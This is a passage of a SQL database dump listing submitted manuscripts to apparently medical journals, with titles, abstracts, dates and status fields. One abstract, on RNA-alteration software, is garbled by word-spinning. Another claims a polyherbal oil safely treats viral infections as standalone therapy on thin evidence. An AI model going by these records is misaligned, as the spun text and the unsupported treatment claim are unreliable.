barriers',651,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6354,7602,45,0,'','Risk factors and prevalence of neonatal polycythemia in Duhok maternity hospital/A cross-section study','',14,3,'','Background& objectives: Polycythemia in the newborn is defined as either venous hematocrit or hemoglobin levels above 65% or 22% g/dl, respectively. Its incidence is described as 1 to 5 %, this study aimed to find the prevalence of polycythemia among those newborns who delivered at Duhok maternity hospital. Methods: A cross-sectional study was conducted from 1st June to 31st December 2019 in Duhok, Iraq by screening 300 randomly selected newborns, those newly delivered at Duhok maternity hospital. The collected data were included: neonates age, sex, birth weight, gestational age, APGAR score, oxygen saturation, type of pregnancy, type of delivery, occipito-frontal circumference, and their relationships to polycythemia, in this study neonates were halved into two groups (with polycythemia and without polycythemia). ','',3828,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'3090','nikhil_m@omicsgroup.co.in',4,0,0,0,NULL,'2021-09-20',1),(6324,7570,45,0,'','A NEW EARLY DIAGNOSTIC APROACH OF SEPSIS IN NEWBORNS WITH RESPIRATORY DISTRESS SYNDROME AT THE INTENSIVE CARE UNIT','',14,3,'','ABSTRACT\r\n\r\nObjective:Sepsis in newborns with RDS is essential for life-threatening condition and still represents an important cause of mortality and morbidity. The aim of this study was to evaluate the predictive values of procalcitonin (PCT) as an early diagnostic and prognostic biochemical marker for sepsis in newborns with RDS.  \r\n','',4048,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'3090','nikhil_m@omicsgroup.co.in',4,0,0,0,NULL,'2021-09-20',1),(6244,7494,45,0,'','Is there a correlation between changes in hydroxychloroquine use and mortality rates from COVID-19?','',15,3,'','Currently there is an active search for vaccines or therapeutics against the newly emergent Coronavirus disease (COVID-19). A large number of countries have published documents with recommendations for health professionals which are similar in nature. However, there are differences worth discussing. We  aimed to determine if there is any connection between changes in hydroxychloroquine use and death rates from COVID-19 worldwide.  We presented data for changes in hydroxychloroquine use for 56 countries for the period January 2019 to April 2020. Mortality rate was extrapolated as case fatality rate from data about total deaths to total number of cases for each country. The Pearson’s correlatrion coefficient is -0.215. Together with the p value of 0.112, it points to lack of statistically significant relation. We formed three clusters and analysed the differences between the two parameters. There is a statistically significant difference in mortality rates and changes in hydroxychloroquine  use. Eta coefficient and eta squared are 0.750 and 0.563 for the increase in hydroxychloroquine use and 0.853 and 0.727 for the mortality rate respectively. Correlation between changes in hydroxychloroquine use and mortality rate from COVID-19  is non-linear with high eta coefficient but available data is not enough to fully characterize it. ','hydroxychloroquine, COVID-19, correlation, mortality rate',388,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(10479,11127,959,0,'','Newly Developed Software finds the relationship between RNA alterations and tumors ','',5,3,'Advances in Cancer Treatment','In the previous decade, the capacity to succession the Human Genome has changed the investigation of typical cycles and infections like disease. We expect that reviews like this one, at last prompting total sequencing of RNA and distinguishing adjustments straightforwardly in RNA, will likewise significantly affect the characterisation of infection and lead to novel helpful methodologies. \r\nWhile a great many people know about DNA, RNA plays similarly as a very remarkable indispensable job in the human body\'s cell capacities. In contrast to DNA, which has the twofold helix structure that the vast majority know about, RNA is a group of single-abandoned particles that perform different fundamental natural jobs.','epitranscriptomics, transcriptase, Sanger sequencing , ModTect',3216,'','2021-09-13',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6265,496,45,0,'','Application of Peptides and Proteomics in the Diagnosis and Management of Pancreatic Cancer','',15,3,'','Pancreatic Cancer is one of the leading causes of oncological-related death around the globe. It is difficult to resect surgically and resistant to many forms of traditional chemotherapy due to the presence of cancer stem cells. The prognosis is worsened due to the insidious onset of symptoms, leading to delayed detection and diagnosis, and hindering the effectiveness of treatment due to the advanced stage of metastatic disease. This review seeks to contribute to the development of novel diagnostic techniques and management of Pancreatic Cancer by elucidating recent advances in peptide research and proteomic biotechnology. Peptides and proteomics can help detect tumor presence earlier with more accuracy, enhance the delivery of pharmacological agents and perform various immunomodulatory and antineoplastic roles. When combined with traditional cancer therapy, peptides and proteomics have the potential to give future clinicians more useful tools to help their patients.','Pancreatic Cancer,oncological-related death',643,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6290,7535,45,0,'','Telehealth and Achieving the Quadruple Aim in Rural communities: A Vision for the 21st Century','',3,3,'','Abstract\r\n In this commentary, I examine the issues faced by rural communities in the 21st century as they relate to the use of telehealth in the context of achieving the Quadruple Aim for the betterment of providers and rural populations. Rural communities face unique challenges resulting in some of the worst health outcomes in America and these challenges are expected to be exacerbated in 21st century due to changes in our climate. Coupled with these challenges are the changes and impediments associated with current healthcare ecosystems and infrastructures. In this commentary I assert that these changes and challenges require healthcare leaders to be less reactive and more adaptive in the development and implementation of telehealth solutions.  \r\n','Telehealth Quadruple Aim Rural Health',685,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6228,7475,45,0,'','          PHYSICAL THERAPY A CRITICAL COMPONENT IN BREAST CANCER AND                    SECONDARY LYMPHEDEMA:A REHABILITATION PERSPECTIVE.','',10,3,'','\r\nABSTRACT:\r\nPurpose: The main purpose of the methodical review is to obtain the importance of Physiotherapy Rehabilitation in breast cancer-related lymphedema in order to elucidate the role of Physiotherapy in these patients.\r\n','Breast cancer,  Lymphedema , Physiotherapy,Rehabilitation',643,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6219,7465,45,0,'','Efficacy of plant-extract based gel for facial acne treatment: randomized, controlled, parallel group, and comparative study ','',14,3,'','Background: Acne is a long-term skin disease largely affecting teenagers and adults. Many different treatments exist for acne, though some with a number of side effects. Under complementary medicine, many plant extracts/oils are effective for acne. However, with few studies on rats or on small sample sizes, clinical efficacy of such extracts needs more human trials. ','',4010,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'1053','nikhil_m@omicsgroup.co.in',4,0,0,0,NULL,'2021-09-20',1),(6203,6982,45,0,'','Feeding practices and nutritional evolution of preterm infants during hospitalization: A Longitudinal Study','',14,3,'','Objectives: To compare feeding practices and anthropometric variables between preterm infants, according to the degree of prematurity, during hospitalization until hospital discharge, and to correlate these practices with nutritional evolution.\r\nMethods: Prospective study with 44 premature infants admitted to a referral hospital for the care of high-risk newborns, in the interior of Pernambuco, between 2016 and 2017. The data analyzed were obtained by consulting medical records to compare birth characteristics, feeding practices, and anthropometric measurements between preterm infants ≤33 and ≥34 weeks of gestational age.\r\nResults: Parenteral nutrition and the start of full enteral nutrition were similar between groups. Premature infants with a gestational age ≥34 weeks had an earlier onset and shorter use of enteral nutrition (1; 0-2 vs. 0; 0-1, p = 0.002 and 25; 5-36 vs. 7; 1-24, p <0.0001, respectively), started oral feeding earlier (7.5; 2-32 vs. 4.5; 1-24, p = 0.019), and had a higher prevalence of exclusive breastfeeding at hospital discharge (56.2% vs 76.2%, p = 0.0017). Those with a gestational age ≤33 weeks presented a greater need for human milk fortification (57.0% vs. 16.0%, p <0.0001) and longer hospital stay (31; 10-55 vs. 12.5; 3-55, p = 0.0001). There was a positive correlation between the start of enteral nutrition and the hospitalization time (r = 0.410, p = 0.007).\r\nConclusion: Physiological maturity seems to influence dietary practices and nutritional evolution during the hospitalization of premature infants. The start of enteral nutrition, as observed in this study, is positively correlated with the length of hospital stay. These findings may contribute to improvement in nutritional care for premature infants.','Nutrition; Enteral nutrition; Parenteral nutrition; Oral feeding; Premature; Neonatal ICU',388,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6221,7468,45,0,'','Clinical efficacy on treatment of broad-spectrum viral infections with topical use of polyherbal plant extract based oils ','',14,3,'','This paper aims to study the efficacy of SAV polyherbal oil blend for the treatment of a range of viral infection based diseases. This study presents scientific, safe, and effective solution for viral infections, which is a natural SAV polyherbal oil-blend and only requires topical application. Gas Chromatography-Mass Spectroscopy was carried out for SAV polyherbal blend and the analysis indicated 13 compounds with anti-viral properties. Two studies have been carried out to assess the efficacy and safety of the polyherbal oil-blend, one with viral infections in humans and second study of viral infection in cattle. Sample consisted of 60 patients who were suffering from different viral infections and three cows with symptoms similar to foot mouth disease. The topical application of the SAV oil helped provide treatment by relieving symptoms of diverse viral infections in 60 patients, and of foot mouth disease in three cows. Therefore, the natural herbal plant extract oils can be safely used as an adjuvant with conventional treatments or as standalone therapy to safeguard human life and animals from various viral infections. ','',4013,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'1053','nikhil_m@omicsgroup.co.in',4,0,0,0,NULL,'2021-09-20',1),(6147,7380,45,0,'','A systematic review of randomised controlled trials examining Curcuma longa for dementia','',14,3,'','Curcuma longa has been used to treat several ailments traditionally, such as rheumatoid arthritis, conjunctivitis, skin cancer, small pox, chicken pox, wound healing, urinary tract infections and liver ailments. Due to its therapeutic properties, it has recently grown in popularity as a potential adjunct therapy for dementia. However, no systematic review of randomised controlled trials has been conducted to evaluate its efficacy and safety for cognitive decline. In this dissertation, literature searches were conducted using four electronic databases, including PubMed Central, Science Direct, CINAHL, and PsycINFO. We retrieved five published studies which were randomised control trials and have included these in the review. Search terms used were ‘dementia’, ‘Alzheimer*’, ‘ageing’, ‘mild cognitive impairment’, ‘cognitive decline’, ‘turmeric’ and ‘curcuma longa’. Efficacy measures such as biochemical markers, neuropsychological assessments, and pharmacological measures have been extracted from studies and synthesised in the review. Although several in vitro and in vivo model studies have found neuroprotective effects of curcumin in Alzheimer’s disease, there is not sufficient evidence to support curcumin use in humans with Alzheimer’s disease, and healthy volunteers. Short term usage of curcumin has been found to be safe. Various reasons such as its low bioavailability and inconsistency in study designs were responsible for discrepancies between preclinical findings and human trials.','Dementia, Alzheimer’s disease, ageing, mild cognitive impairment, cognitive decline, turmeric, Curcuma longa',388,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6029,7261,45,0,'','Perceptions of academia of different health professions towards Inter Professional Education in Sri Lanka.','',14,3,'','Interprofessional education is an approach to educating and training students and practitioners from different professions to work in a collaborative manner. The purpose of this study was to examine attitudes towards interprofessional in readiness for interprofessional learning scale was measured with respect to how their influence in clinical situations in Sri Lanka. The questionnaires were sent though post or emails to the consenting participants as per their suggestions of most convenient ways during January 2018 to academics in Sri Lanka representing all faculties in the country including medicine, nursing and physical therapy educational programmes. There were 46% replied and hundred percent of respondents agreed that it was important to patients would ultimately benefit by provide interdisciplinary learning opportunities. The results of this study suggest that a favorable perception of both interprofessional teamwork and interprofessional education exists amongst academic administrators of Sri Lankan health professional education programs. ','',651,'','2021-09-16',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6032,7266,45,0,'','Knowledge, Attitude and Practice towards Insulin-Self Administration among Diabetic Patients’ Attending Bedele Hospital, Southwest, Ethiopia, 2019/2020','',14,3,'','Abstract\r\nBackground: Diabetes Mellitus is a heterogeneous clinical syndrome ancillary to defects in insulin secretion, action or both. The Worldwide fatality and disability rate’ enforced diabetic patients’ for Insulin self-administration despite scarcity of their Knowledge, Attitude and Practices. Thus, the study was aimed to assess knowledge, Attitude and practice towards insulin-self administration among diabetic patients’ attending in Bedele Hospital, southwest of Ethiopia.\r\nMethods: Facility based cross sectional study was conducted using consecutive sampling technique in Bedele hospital from 15 December 2019 to 22 January 2020. A pretested Semi-structured English version relevant questionnaire translated to local language was administered on 196 subjects. Data was checked for clarity, consistency and analyzed using SPSS version 23 and summarized by descriptive statistics in the form of tables and figures.\r\nResults:  Out of 196 subjects, about 180 subjects were participated in the study giving a response rate of 92%. The study shows that Knowledge, attitude, and practice towards insulin self-administration was 132(67.3%), 113(57.6%), and 123(62.8%) receptively which implies that a good Knowledge, a favorable attitude, and a good practice to insulin self-administration.\r\nConclusion: Even though the patients’ have a good knowledge, a good practice and a favorable attitude to insulin self-administration, it is not match enough, thus, to achieve a maximum level, hospital could develop many strategies like consistent information education communication.\r\nKey Words: Diabetic patients’, Insulin self-administration; KAP; Ethiopia\r\n','Key Words: Diabetic patients’, Insulin self-administration; KAP; Ethiopia\r\n',456,'','2021-09-17',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5996,6982,45,0,'','Effects of a multiprofessional program and isolated in improvement of the functional fitness of elderly','',14,3,'','Introduction: The aging process can be understood as a dynamic and natural stage in which there are morphological, functional, biochemical, and psychological changes. Objective: To verify the effect of a multiprofessional program combined with physical exercises in the elderly attended by the Family Health Program. Methods: A randomized clinical trial was performed in 23 participants divided into two groups: G1 (exercises + multiprofessional intervention) and G2 (exercise only). A sociodemographic questionnaire was applied, followed by the Senior Fitness Test, which evaluated the physical fitness of the elderly of both groups. Results: G1 showed significant improvement in the strength indicators of the upper limbs (pre: 16.21 ± 3.40, post: 20.07 ± 3.00), aerobic resistance (pre: 430.14 ± 82.33, post: 483. 86 ± 75.40), agility and dynamic balance (pre: 5.97 ± 0.80, post: 5.20 ± 1.01). G2 showed significant improvements in aerobic resistance indicators (pre: 472.78 ± 104.86, post: 482.56 ± 113.28), agility and dynamic balance (pre: 5.52 ± 0.54, post: 5, 46 ± 0.80). Conclusion: A systematized physical exercise program with multiprofessional or isolated support contributes positively to the improvement of the physical abilities of the elderly.','Elderly; Physical Fitness; Primary Health Care.',388,'','2021-09-17',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6006,7234,45,0,'','Evaluation of the histopathological findings of 128 persistent periapical radiolucent lesions of endodontic origin obtained during apical resective surgery.','',14,3,'','Abstract\r\n\r\nObjectives\r\nTo evaluate the histopathological findings of 128 persistent apical radiolucent lesions of endodontic origin obtained during apical resective surgery. \r\nResearch question. Are the apical lesions always being cysts?\r\nMaterials and methods\r\nThe case group was composed of 128 biopsies obtained through apical surgery were examined establishing the diagnosis as either periapical granuloma, radicular cyst, or abscess. The radiographic size of the lesion (area in cm2) before surgery and after two years of follow-up was measured. A statistical study was performed using analysis of variance. The hypothesis tests were conducted at the 0.05 level of significance.\r\nResults \r\nThe study comprised 128 patients, 79 women (61.71%), and 49 men (38.28%) with a mean age of 43.54 years. The histopatological analysis of the 128 apical lesions, it was found that 74.21% were from the maxilla, especially from the anterior teeth and premolars, and 25.78% from the mandible, inclusive of 72.6% granulomas, 23% periapical cysts, and 5% periapical abscesses. Apical lesions were associated with overfilled canals.\r\nConclusions\r\n The outcomes of the present study demonstrated a high number of apical granulomas among periapical cysts. They confirmed that periapical granulomas are the most common apical lesions of endodontic origin related to persistent apical pathosis.\r\nClinical relevance.  \r\nApical lesions are frequently diagnosed apical pathologies of endodontic origin in human teeth. The condition is described as apical periodontitis. The common etiologic factor is the presence and colonization of microorganisms within the root canal system.\r\n','Keywords: Periapical pathosis, apical lesions, granuloma, cyst, abscess',693,'','2021-09-17',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6003,5427,45,0,'','Effects of Steroid Hormones on Sleep Disorders','',14,3,'','Sleep disorders, like insomnia and other negative changes, are very commonly seen worldwide and management of them remains quite challenging.  Sleep disorders can occur because of many factors like health problems, excessive stress and nowadays the statistics show us that there is a considerably increasing rate of sleep disorders among people especially more common in the United States. In fact, more than 75 percent Trusted Source of Americans between ages 20 and 59 report having sleeping difficulties. The lack of sleep can have a negative impact on energy, mood, concentration, and overall health. Sleeping disorders can affect one\'s quality of life and general well-being. Depending on the type of sleep disorder people may have a difficult time falling asleep and may feel extremely tired throughout the day. Sleeping disorders can have different risk factors like as: allergies and respiratory problems, nocturia, chronic pain, stress, anxiety, or even can be the sign of other body disorders. The aim of this review article is to addresses sleep and the sleep disorders associated with steroid hormones and briefly the role of these hormones in alleviating these disorders. In the search of the sleep substance, many studies show the different hormones which they are responsible for the regulation of the sleep cycle.  In this review article, we noticed the participation of steroid hormones, besides its regulation role of sexual behavior, can be effective in the sleep process. As an important example of sexual steroid hormones, estrogen and progesterone alternate the sleep patterns associated with the hormonal cycles of women throughout life, from puberty to menopause and specific times like pregnancy and the menstrual cycle, including being responsible for some sleep disorders like as insomnia. Another hormone is cortisol which is a hormone released in stressful situations, and also known as the hormone of awakening because the maximum release of it occurs in the morning.','sleep disorders, insomnia, steroid hormones, sex hormones, cortisol',388,'','2021-09-17',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(6023,7252,45,0,'','AQUATIC PSYCHOMOTRICITY CONTRIBUTION TO GLOBAL AND FINE MOTOR SKILLS OF ELDERLY WITH STROKE','',14,3,'','Objective: To evaluate the effects of aquatic psychomotricity activities in the elderly with stroke sequels. Methods: This is a transversal, quantitative, and descriptive study. It consisted of a sample of fourteen elderly people, aged between 60 and 75 years, of both gender and with sequels of stroke, in which psychomotor dynamics were applied during 4 weeks. To evaluate motor skills, the Gerontopsychomotor Observation Scale was used, before and after the intervention. Results: Six women (42.9%) and eight men (57.1%) were evaluated, with an average age of 67.2 years. When statistically comparing the initial and final evaluations, there is a significant improvement in global praxia (initial average: 21.5 and final: 26.5; p = 0.001) and fine (initial average: 28.71 and final: 32, 5; p = 0.046) of the participants submitted to psychomotor activities. Conclusion: The analysis is that the aquatic psychomotor activities contributed to the improvement of the global and fine motor skills of the elderly after stroke','Stroke, Motor skills, Physical Therapy; Complementary Therapies; Neurology; Geriatrics',388,'','2021-09-17',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5974,496,45,0,'','N-linked Glycosylation and its Potential Application in Drug Development','',15,3,'','Protein glycosylation is a site-specific enzymatic process to attach oligosaccharides or carbohydrates to proteins. N-linked glycosylation (N-glycosylation) is the major type of glycosylation for the post-translational and co-translational modification of proteins in eukaryotic cells. N-linked glycosylation is to link saccharide molecules to proteins via covalently coupling oligosaccharides or glycans to the amino acid residue asparagine (Asn, N) of proteins, mostly with the requirement of a Asn–X–Ser/Thr (N-X-S/T) consensus sequence. N-linked protein glycosylation is of significance and plays critical roles in biological and pathological processes, and also applied for modern drug development. Particularly, the strategy to engineer N-linked glycosylation site(s) can stabilize the recombinant fusion proteins. This technology has been widely applied for drug discovery, especially for the peptide drugs such as rabies viral glycoprotein (RVG), cardiac-targeting peptide (CTP), bovine adrenal medulla (BAM).','Glycosylation, N-linked glycosylation, asparagine (Asn, N), conservative GNSTM motif, proteins, oligosaccharides',686,'','2021-09-17',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5984,7214,45,0,'','Trainee doctors’ perception of the adequacy of support during their Intensive Care attachment- A phenomenological study','',8,3,'','Background\r\nThere is a paucity of research into the clinical support that junior doctors receive during their Intensive Care rotation and how the culture and environment support Trainees’ learning.\r\nObjectives\r\n. The aim was to evaluate the factors which influenced junior trainees learning and ability to effectively perform on a daily basis within the stressful Intensive Care environment. Also, the perception of junior non-anaesthetic trainees’ educational support during their Intensive Care attachment. \r\nMethods\r\nThe phenomenological psychological method as outlined by Larsson et al 2006, was used. Six (6) out of (7) junior doctors were interviewed in February 2014 and the analysis was transcribed by the author after listening to the audio recordings and the structure of meaning of a phenomenon and the analysis consists of five steps, presented below. The stepwise procedure is close to Giorgi’s 1997, descriptive phenomenological method which allows for the researcher’s interpretation of the data.\r\n\r\n\r\nResults\r\nThere was an 86% response rate from the trainees, the themes affecting learning included: Authority, Hierarchy, Safety, Intimidating environment, Disorientation, Friendliness, limited member of the team, Dreading on-call duties, communication and consultant input.\r\nConclusion\r\nThe author suggested a ‘tripod of critical care support’ with the junior doctor at the apex and three arms of support comprising; the nurses, consultants and the intensive care environment. These three components combine to form the ‘critical care culture’ which trains, nurtures and support critical care doctors. \r\n','junior doctor support, phemenologic study, icu culture',651,'','2021-09-17',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5936,7161,45,0,'','Locus Of Control with Learning Achievement Student Nurse','',14,3,'','Background: Locus of control is a concept that explains whether someone feels that the control of their lives is in the hands of their own hands (internal locus of control) or is in the hands of other people\'s hands or other things (external locus of control). Locus of control is one of the factors that influence learning achievement. Aim: This study aims to determine the relationship of Locus of Control with student achievement in level II of the Nurses Study Program at the Sari Mutiara Indonesia University in Medan. Method: The research design used is a descriptive correlation with a cross-sectional approach. The population in this study were 150 students of the Nurses Study Program at Sari Mutiara Indonesia University. The sampling technique uses a random sampling technique where the number of samples is 109 people. Result:The results of the study with the Spearman rank statistical test obtained p-value = 0.022 (p <0.05) with r = -0.220 (2.0-3.99 = low). Conclusion: The conclusion is that there is a weak relationship between Locus of Control and student achievement in level II of the Nurse Study Program at Sari Mutiara Indonesia University in Medan.','Locus Of Control, Learning Achievement, Student Nurse.',691,'','2021-09-17',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5909,6982,45,0,'','Mental health and COVID-19 infection: Systematic review in human cross-sectional studies','',14,3,'','Background: The outbreak of the new coronavirus (COVID-19) is the most recent global emergency declared by the World Health Organization, which may directly affect patients\' mental health. The aim of this systematic review was to analyze the main impacts caused by the current COVID-19 pandemic scenario on mental health outcomes. Methods: Pubmed, Lilacs and, BVS from January to March 2020 were systematically researched for related published articles. In electronic databases, the following search strategy using the keywords: “Nervousness OR Social Anxiety OR Anxieties, Social OR Anxiety, Social OR Social Anxieties OR Anxiety AND Depressions OR Depressive Symptoms OR Depressive Symptom OR Symptom, Depressive OR Symptoms, Depressive OR Emotional Depression OR Depression, Emotional OR Depressions, Emotional OR Emotional Depressions AND Health, Mental OR Mental Hygiene OR Hygiene, Mental AND COVID 19 OR Coronavirus. In five articles found, there was a higher incidence of symptoms of anxiety and depression, associated with exposure to COVID-19. Results: Two studies demonstrated an increase in insomnia. Furthermore, symptoms related to increased stress, sensitivity to social risks, and the sensation of horror were also observed. When stratified by the psychiatric impact, high rates of moderate or severe psychological impact. COVID-19 pandemic scenario, directly impacting the mental health of the population affected by COVID-19. Conclusions: Nevertheless, strategies related to lifestyle, associated with psychological care can be fundamental to improve the mental health of these individuals','coronavirus, depression, anxiety, stress, acute Infections',686,'','2021-09-17',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5908,7130,45,0,'','The Importance of Resilience in the Management of Chronic Pain in Occupational Therapy – A General Study','',14,3,'','Background and Aim -The aim of this paper is to realize a multidisciplinary international study focusing on the beneficial importance of resilience in occupational therapy patients suffering from chronic pain in a biopsychosocial context, mainly offering as background examples from the Scandinavian countries and the UK.  \r\nMaterial and methods-As research methods, we used two international online databases: PubMed, Google Scholar and an online journal-the\" Scandinavian Journal for Occupational therapy\", using the following combination of search terms -\"occupational therapy chronic pain resilience UK/ Norway/Sweden\", with a selection of 20 articles published between 2009 and 2019, obtaining thus the premises for a general study. \r\nResults- In the case of chronic pain, patients can experience variable degrees of both mental and physical rehabilitation according to their resilience profiles, treatment, the evolution and state of their illness, medical history, additional psychological coping therapies and social interaction. There are presented multidisciplinary pain management programmes for occupational therapy from the Scandinavian countries and occupational therapy projects focusing on resilience from the UK.\r\nConclusion-In the clinical occupational therapy there is noted the effective role of resilience in individuals suffering from chronic pain, considered as a beneficial coping psychological technique, associated with cognitive behavioral therapy, acceptance and caring conversations.','occupational therapy, resilience, chronic pain, Scandinavian, UK',686,'','2021-09-17',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5887,7112,45,0,'','A novel approach to prevent pterygium recurrence','',14,3,'','Objective: To evaluate the impact of the different doses and duration of mitomycin C (MMC) on the pterygium surgery outcome. \r\nIntroduction: The pterygium is one of the common ocular surface diseases; no actual pathogenesis had been described. No medical therapy for pterygium available; therefore, the only treatment is surgical removal, which might end with recurrence; to prevent this mitomycin C (MMC) used. Till now, the ideal duration of MMC exposure remained questionable. This study shows the effect of different doses and duration on the pterygium surgery outcome.\r\nSubjects and method: It is an observational retrospective study that comprised of a total of 144 subjects, had been divided into three groups, each group consisting of 48 patients who underwent pterygium surgery with MMC and graft. All groups had received the same postoperative treatment.\r\nResults: The incidence of recurrence was 13.5% among all the groups, of which 12.5% for group B and 0.7% for group A and no recurrence in Group C. The p-value= 0.000. \r\nThe recurrence was more among males with non-significant p-value=0.5 and more among > 50 years of age with highly significant p-value=0.000. The incidence of stromalysis was 0.71%. \r\nConclusion: This study emphasizes that the shorter the duration (just washing) of MMC, the better the protection against scleral stromalysis, but the lower the dose, the higher the recurrence rate.\r\nTherefore, much more workup requires for setting up a customized surgical procedure, to achieve utmost preventive criteria for both recurrence and stromalysis.','Pterygium recurrence, MMC, Stromalysis.',388,'','2021-09-17',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5888,7112,45,0,'','A novel approach to prevent intraocular Pressure spikes and reflux during intravitreal Injections','',14,3,'','Objective: \r\nThe main objective of this study is to prevent IOP spikes and to retain the desired amount of the intravitreal injections.\r\n\r\nIntroduction: The anti vasoproliferative endothelial growth factor (VEGF) is widely used, which can cause spikes in intraocular pressure and refluxes during the injection.\r\nSubject and method: A retrospective data recording performed on patients who received anti-VEGF intravitreal injections (IVI). A total of 200 patients, (88 women and 112 men), each of them injected with one eye (200 eyes). The patients had been divided into four groups:\r\n\r\n1.	Group A: No treatment given.\r\n2.	Group B: Only acetazolamide tabs 500mg.\r\n3.	Group C: Timolol maleate eye drop, Brimonidine tartrate eye drop and Dorzolamide hydrochloride eye drop.\r\n4.	Group D: Received both topical and oral hypotensive prophylactic therapy.\r\n\r\nResult: The mean IOP pre-injection in all groups was 14.44, while post-injection was 28.73 with a p-value of <0.001. In the Group D, which received both topical and systemic IOP-lowering therapy showed lowest IOP mean for both pre-injection (12 mmHg) and post-injection (17 mmHg) while the highest post-injection IOP mean had been recorded in the group A (38 mmHg) and the p-value was highly significant.\r\nTotally 32% developed reflux, and the mean IOP among them were 38.16 mmHg with a very highly significant p-value <0.001. The reflux in Group A was 80%, the non-refluxing were myopic, and their spike reached 25 mmHg. In Group D, 4% had reflux and were hyperopic with a mean IOP of 17 mmHg.\r\n\r\nConclusion: This study concludes that combined topical and systemic ocular hypotensive therapy medications are gold standard pre-injection guidelines to prevent both post-injection IOP spikes and reflux.','Anti-VEGF, Post-injection reflux, Post-injection IOP spike, Intravitreal injection.',388,'','2021-09-17',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5889,7112,45,0,'','Diabetic retinopathy health crises in Kurdistan governorate-Iraq/Erbil','',14,3,'','Objective: to find out the incidence of blindness among the diabetic population in the lack of anti-vascular endothelial growth factor (VEGF) and to assess patient\'s  knowledge about their illness.\r\nIntroduction: The diabetic blindness can be prevented by up to 90%, in the early stages of the disease. At the time of diagnosing type two, 21% of them have retinopathy. After 20 years of diabetes; the retinopathy affects 60% of type 2 and approximately all of type 1 diabetic population.\r\n\r\nSubject and method: This retrospective study comprised of 1784 diabetic patients. Their vision assessed according to the international classification of controlling blindness as legally blind (visual acuity=< 20/200) or socially blind. For this purpose, the Snellen Eye Chart used at a fixed distance of 20 feet. Patients were checked regularly when checkup missed; excluded from the study.\r\n\r\nResult:  About 46% of the diabetic population did not know when their diabetes started with a p-value 0.000, which is a very highly significant correlation. Regarding patients information how to control their diabetes; 82% of them did not know how to handle the illness, and 76% did not know the dietary restrictions with a very highly significant p-value, the correlation between them and legal blindness.\r\nAbout 84.1% presented with legal blindness. After many interventions, 37.9% remained legal blindness, but 62.1 improved. While 6% became socially blinded.\r\nAround 43.9% were unable to buy the anti-vascular endothelial growth factor drugs, with a p-value=0.000.\r\nAbout 87.2% of patients did not perform HbA1C two times per year with very highly significant with the legally blind. \r\n\r\nConclusion: We can emphasize that the lack of education program, patient\'s information about the disease, non-referrals, economic crisis and the unavailability of the anti-vascular endothelial growth factor; all collectively created a blinded diabetic population.','Anti-vascular endothelial growth factor, Diabetic retinopathy, Legal blindness, Health crises.',388,'','2021-09-17',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5890,7112,45,0,'','A Novel Approach To Prevent Endothelial Tear/Detachment In Combined Advanced Pseudoexfoliation Syndrome And Diabetes Mellitus','',14,3,'','OBJECTIVE\r\nTo find a novel way to prevent endothelial tear/detachment during phacoemulsification in pseudoexfoliation combined with diabetes mellitus undergoing phacoemulsification.\r\n\r\nIntroduction: The cornea is lined by only one layer of hexagonally shaped, uniformly sized cells internally, which is called the endothelium. The endothelium can be affected by many factors, like the aging process, pseudoexfoliation (PXF) and diabetes millets. The combination of more than two factors could have a loosening effect on the endothelial attachment to its basement membrane.\r\n\r\nSubject and method: The current study is an interventional clinical trial one, which comprises of 43 patients with 84 eyes. All of them had diabetic retinopathy and pseudoexfoliation. They divided into three groups:\r\n Group A, a clear corneal incision for the side port and the main incision done.\r\n Group B, both incisions performed at the limbus.\r\nGroup C, 